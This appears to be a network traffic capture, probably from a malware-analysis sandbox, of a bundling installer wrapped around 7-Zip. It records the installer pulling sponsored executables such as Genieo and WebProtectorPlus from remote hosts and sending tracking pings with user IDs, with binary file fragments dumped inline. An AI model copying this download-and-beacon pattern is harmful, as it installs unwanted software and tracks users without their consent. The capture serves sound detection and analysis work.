Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. ...............................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /sponsored/swiftrecord/eula-swiftrecord.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/a4ef7ad5ee844541a73265af1d50735c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3ffn9rvm681fx.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 26 Apr 2015 05:01:53 GMT
Last-Modified: Wed, 11 Mar 2015 08:59:19 GMT
Expires: Sun, 26 Apr 2015 05:11:53 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
Age: 574
X-Cache: Hit from cloudfront
Via: 1.1 d6fa2e1de8f392301c10fd5bb7b263c3.cloudfront.net (CloudFront)
X-Amz-Cf-Id: WmmT8gmx5kJkJmFTUcF-Y-PhPJ48ftKWQrsy7hF7rLv1C1MHsZs22A==
36d5.............}.r....s. r8.c*....n.r..!..`....K..8@ [email protected]@.gb".Cf~
..d.Z{.K. %_:b......'.e_......i.d...]..f.....y...;<>............
..y...U1X...d5.....q.r..._..o........;..w....g............j...........
...a^........r8...7.........u....zu{..|.....qZ...E...U.yu<.k~..M5~.
...7.jZ-.......w.h6\.M.o.W....dU.....|S...l8....|uXO..>}.z.9}v;.M..
o...rX...-.._...o.JN.V~......b..N1...G.~U..i.........U. {/.^hh.Z3...I.
....].)...c.|c?..X{..<....[SL... ...../...?./O..~.W.....v.z.k./...&
lt;.-......E..?h..w........=.|h.......=R.....{~.....{......t/O;.N...P|
x.9y..N..O.....{...Z.:...89o....>..........>>.\`..3|......6..
k.;.....o.;............~....=..\...4U..V..d^..'u....k.mq>....,Zw...
..U.......^..eY...X.R..E5/@U....0.]..rT-.|.,.N..b8..;(.....Z.{........
....0.l......Xc.uQ.......j........c.....t2...._....Jj......XV.....z...
.v..........G.....G......S...u7...W....ZN>.G..U..<..&....;...C..
.-..rY.G%..d..i.9....d:..s.W.Q.6xY..]j?..K.......O.^/.>..p...&.d~W.
c.......p9.?(n..y.<.5|^a..?..Ln.p.8...wh;z.....w..l..jU....M......G
.3. ..n.|........x(o V....5...O.J........z.....}.x9H~<......~.W..r|
[email protected]..@.$.H..zP/#..9R....B..X.
4t...C}P,....s....H,d..tU.6n..@qgY\.E.....#.......g.8.0.bY..Y...b..1.e
.X...V.=.~.,..(L....AW..QY.<..W.9.....#.4&...| ........L.d.m._8....
.D...EU$..r.Zc..z..f....f.6..(.IRX.'L.[].k..i..WH...o}h......8}mo9...u
.b.P...&.i..Tkl.S.18...B.- .1e.....6.v=. X0>..~.,]Q....F.U...#q...%
......4....U55.r.3R................i1 ..!..u..^.:...II..U..N.<N
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=3&index_in_screen=1&index_in_session=3&0.803185817508443 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.2090475166.1430385727.1430385727.1430385727.1; __utmb=1.1.10.1430385727; __utmc=1; __utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:22:51 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:22:51 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /install.gif?bundle=istartsurf&ptid=smt&uid=267123711_198339_B48A115F HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: log.very911.com


HTTP/1.1 404 Not Found
Server: Tengine/1.2.2
Date: Thu, 30 Apr 2015 09:23:26 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 668
Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>
..<head><title>404 Not Found</title></head>..&
lt;body bgcolor="white">..<h1>404 Not Found</h1>..<p
>The requested URL was not found on this server. Sorry for the inco
nvenience.<br/>..Please report this message and include the foll
owing information to us.<br/>..Thank you very much!</p>..&
lt;table>..<tr>..<td>URL:</td>..<td>hXXp://
log.very911.com:8080/install.gif?bundle=istartsurf&ptid=smt&ui
d=267123711_198339_B48A115F</td>..</tr>..<tr>..<t
d>Server:</td>..<td>us-pub00.v9.com</td>..</tr
>..<tr>..<td>Date:</td>..<td>2015/04/30 04:
23:26</td>..</tr>..</table>..<hr/>Powered by T
engine/1.2.2..</body>..</html>..HTTP/1.1 404 Not Found..Se
rver: Tengine/1.2.2..Date: Thu, 30 Apr 2015 09:23:26 GMT..Content-Type
: text/html; charset=utf-8..Content-Length: 668..Connection: keep-aliv
e..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html&
gt;..<head><title>404 Not Found</title></head>
..<body bgcolor="white">..<h1>404 Not Found</h1>..&l
t;p>The requested URL was not found on this server. Sorry for the i
nconvenience.<br/>..Please report this message and include the f
ollowing information to us.<br/>..Thank you very much!</p>
..<table>..<tr>..<td>URL:</td>..<td>
<<< skipped >>>


GET /settings?s=9813&ins=1430386023.214 HTTP/1.1
Host: lb.thetrafficstat.net
DNT: 1
Cache-Control: no-cache


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:28:35 GMT
Content-Length: 62
{ "Status": 1,"Endpoint": "hXXps://s9813.thetrafficstat.net" }HTTP/1.1
 200 OK..Cache-Control: private..Content-Type: text/html; charset=utf-
8..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.50727..X-Powered-B
y: ASP.NET..Date: Thu, 30 Apr 2015 09:28:35 GMT..Content-Length: 62..{
 "Status": 1,"Endpoint": "hXXps://s9813.thetrafficstat.net" }..



GET /pin.gif?e=updinst&s=9813&i={3D38404C-DF40-4DAA-A4FF-6CF94BA6576C}" HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: track.madagascardomain.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:23:10 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Thu, 07 Aug 2014 08:18:11 GMT
ETag: "22-50005baba6d35"
Accept-Ranges: bytes
Content-Length: 34
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: image/gif
GIF89a.............,...........C.;..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=416430-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:09 GMT
Content-Type: application/octet-stream
Content-Length: 694046
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 416430-1110475/1110476
XD.h(...a....k.i.5ML'..u.........* .....L...r.....l.OrB..Q';..Ac......
-8.D..W.c.<..4...Y...v...zzL.x.......b...b... qv....5..#cF..f..q...
F.....#|I.K..^.\Q..$..G...4.3/.gk.....dY.N...../.......n.W'x..h...."[-
..3"(.u..x.:g....3S.0....I....Q.........S.I...4O...;..k3.Z'..V1...}.92
A.2.La..&..ys][email protected]\.".`.3.|.'>.xZ...........GO.....
....../o........N.J...Mt.e.. ..Z..C#..{ou.^K\xW..."..f.l...L F.....C..
!.....Il5j8jM.......h.E."3.].!........%.......&.....%2.).{v...>....
Ii..1MJ.L.V........N.G'x.o...Ni...\ >[email protected]:.^..7
z.{Zn...W......M...^X...;)..W;;}.............m&.!......s_..{.<....4
..~Q..F.Y..$.)c.;.Y{..!m..G.v....V.79T.P...L..F.A[...z.B..i.r}........
...&.......S....X,.]..d{...'..r.P..#,.=f}^..#..EY. .A...$..'._.zi.3. .
.s..................... .....6"W...\.0.4...x..H..x......[..Q..Q9[O....
......b.ky..O?...!........N.....*I......k.bw.{...[......~.....X..VT.N(
.k...?.8t........r..\.....*...#....D........B......Qx....?...3U..pG...
......[e..?]....no.#..1Y.P....6;/umQ..c5.. .7Nr........^..A..O..W.....
{..P...;........;.....`.....o;Tks.......q.r.[k.n..gu....5...{lH7.... D
....=.`../Y.[.....m.....9'.{..LB.<....4......>..............>
.......G....x..*L.Gc>.=t..j.B.....;;n.H .J....O....\..-..T......p..
.X......#..<...f.>j.U.o..cV]..o...'...F*%..y..G.a....JM.9U......
j...;0^.....-Y.. ....H.s.$.J.......kE.J.=..oH..H.PS.....K...J...z=..KU
.s.Y.._HZ*.^.4.o..StA...A.V..5.~..?..{3K.............9.N7G^..Az>G-V
p.7z...._..s.V.<.....(....".p.X....-..AS.%}[email protected].
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 72922
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-72921/72922
Age: 3540
X-Cache: Hit from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: VUu1u5cp4WqSqBqiwshNmqBTC8ONz2gln6vbRcxL_90JRWm9aPHa3A==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s.......... B........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...`[email protected]... B.......D...v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=4&index_in_screen=1&index_in_session=4&0.030520581165039695 HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.1.10.1430385829; __utmc=1; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:24:43 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0......


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=1&index_in_screen=1&index_in_session=1&0.44469108518846095 HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.2.10.1430385829; __utmc=1; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:24:43 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:24:43 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_fail&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=1&index_in_screen=1&index_in_session=1&0.29883133237549697 HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.2.10.1430385829; __utmc=1; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:24:51 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:24:51 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=2&index_in_screen=1&index_in_session=2&0.18562550075796524 HTTP/1.1


Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/69fcc8129cc3cf46b36b738c6b72bbc0?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: installer.filebulldog.com
Connection: Keep-Alive
Cookie: __utma=1.58050192.1430385829.1430385829.1430385829.1; __utmb=1.3.10.1430385829; __utmc=1; __utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:24:52 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:24:52 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:23:53 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:09 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ChromeSync HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 30 Apr 2015 09:23:46 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.38 ms","message":"store 1 action and 0 upd
ate "}..0..



GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1
Range: bytes=293108-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 293106
Connection: keep-alive
Date: Sun, 26 Apr 2015 07:01:19 GMT
x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671
Cache-Control: max-age=3600
Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT
ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 293108-586213/586214
Age: 1492
X-Cache: Hit from cloudfront
Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ENzz2E_8zidkoiiugPXXQRbUzQMn_awfBH2mjnR_-UdlKNxzOkhH5w==
.>......z.....N.6.s.>%X,......d".=.g..!*.v/..3$....=....Ed>F.
..?X..?P.i.^gU.$..gx.0. }./..n8.D...v...y..{h...Ig"IY.oL..i.N...K.X..a
d....O...;..k*....&........9f.Ch;.Po.b......,..?JU.'.K..,[email protected].
........D...R.5:...'.0....'..~..8...g.7.E.r...l..].L..!.?@X...._F....h
...%a.^e`.V........~m. ~.6j.....f...K....l#L..Ww./..3x.Gr1...6'......B
1.bt.]\[email protected].......<.Z..cCD4z.._.5m.@.(.ht^;...R.O.u
....S..}...K......l...d2S.).............;.....2..m.^P}.....'{.RGI..A..
A.o. .O.k.<...e..0.x.}!..I.k|Z.........Q..cL.K9$.y..}.`<F...fl..
[email protected]_e*!.QP........&d...j.....A.....-....{/.....c..=....>(
.. [email protected](....3..k...N.'[email protected]
.s..{=e......Y...}..U.>....my..Z.").^6w .|.....&..,mX`........-....
1...JQp....\....V=\.^.......}../[email protected]....`.p.
E...X$Q=... .k...........WiZ..}W...1.Ij.'",Ip.k1.fG.h...h3.\c...b./.K.
".o<.O...P..hG.LG....D.......Bl...A4....j..&..r..t..E....UOQ.......
~`i.DQ.s....7... ......B.........V=.=..W..zn.X(..!?..H...'..^...}U.H.l
....a.....k_ZQ%s..!.u..9.,.RG(.$jQjF-.~f..P.,.u..W',..)....$....M.U...
C..9>F%.n.If.U...V.! Y..j.7.3.d..W..y.>..4.......G...4(..M>..
.F.`'.x...b......z....d.;~.X.. .!(........P.$.w.F..r..0 l.^u..w.Ry....
.y...................E.'.N.........u.........C....?..C.....].....Q...=
..Q.Li!....K....>[.R...'.f....-^Ik.@.#.kC.......}....E..(.s..UCF.vi
97t3@...<k3...<.....G...p\..|...;..-5...F.......6.b....?... F...
Z...4xn.Q...h{..i..g4.uLF.9..Soo ...R....}.O.  ...}..........9(..u
<<< skipped >>>


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.hp HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 30 Apr 2015 09:23:26 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.69 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Thu, 30 Apr 20
15 09:23:26 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.69 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhJz1lhSyxS2RYZQVJ48M2bQ== HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp2.globalsign.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:26:37 GMT
Content-Type: application/ocsp-response
Content-Length: 1493
Connection: keep-alive
Set-Cookie: __cfduid=d3f998f475917283d19b23e15efa8d7d41430385997; expires=Fri, 29-Apr-16 09:26:37 GMT; path=/; domain=.globalsign.com; HttpOnly
Last-Modified: Wed, 29 Apr 2015 23:18:40 GMT
X-Powered-By: Servlet/3.0; JBossAS-6
ETag: 75cb20db80af71b35230a2051b0ade8d8aab5b43
Expires: Thu, 30 Apr 2015 11:18:40 GMT
Cache-Control: max-age=180, public, no-transform, must-revalidate
CF-Cache-Status: HIT
Server: cloudflare-nginx
CF-RAY: 1df234c2c1e001b1-FRA
0..........0..... .....0......0...0.......0?.....!...>., ......2015
0429231840Z0u0s0K0... ........)[email protected]...^./.....
2k...!'=e.,.KdXe.I..6m....20150429231840Z....20150430111840Z0...*.H...
........)Lk..#U8l.T..<[email protected]....}/.0.."JS..|..Lo.|`.E.x...c......a
..h.L.H.?.....F...x..........:..Q..........iSq.W..82.9...7......z._8`.
.../.....^........#...u.h....`v.[M.2.i......pt.-..b...j!.o.....y....:.
.;,...........J....3{O},.{.....y....YA.. ......x...E.C..d....0...0...0
...........!.}.*./..(.....C.0...*.H........0Z1.0...U....BE1.0...U....G
lobalSign nv-sa100...U...'GlobalSign CodeSigning CA - SHA256 - G20...1
50318093923Z..150618083923Z0..1.0...U....BE1.0...U....GlobalSign nv-sa
1C0A..U...:GlobalSign CodeSigning CA - SHA256 - G2 OCSP responder - 21
.0...U....201503181039000.."0...*.H.............0..........]W0..;Cq..t
....H.mQ...C.PN...0...Z.p`xT`...g...^c.`....&S..<.w.......o&..,...n
=.{i`\....Fhn.....i%.b,.IS... .]...Vh...~._i.Y......sF%...I..V.I]Kn.x.
....h........)...5..F.6m0;....l..B..d-.ha...>T._.o.7...."..e....~5a
...=..9.h'F>.X...k.l....gCC'[email protected].
..........0...U.%..0... .......0... .....0......0...U.......0?.....!..
.>., ....0...U.#..0....J.Z.M1...^./.....2k0...*.H.................&
..Y.7).!......9s..~.N..4..uz.t.K2Y..=. ... .........W..8......9t.D....
....V.d)...s.. ..4.v~r{~..*..&..}............D../TE.t.&V.e.........l..
1........y...--=|~..z..3j1..\..<..~..6.[.Z}'[email protected]._...,r..T...W.K.&
lt;.<m...;z...k.=F..5........|Z..g.!......p...!..
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: TaahKDvWUVkR25I4Ab/j8YnVWXRCIkLvLqZTdNea1de83rnef6pQgp8Dk2HA2JyaUZLPXykg /g=
x-amz-request-id: 4AE98B65A088AB3C
Date: Thu, 30 Apr 2015 09:27:21 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 0-988407/988408
Content-Type: application/octet-stream
Content-Length: 988408
Server: AmazonS3
MZ......................@.............................................
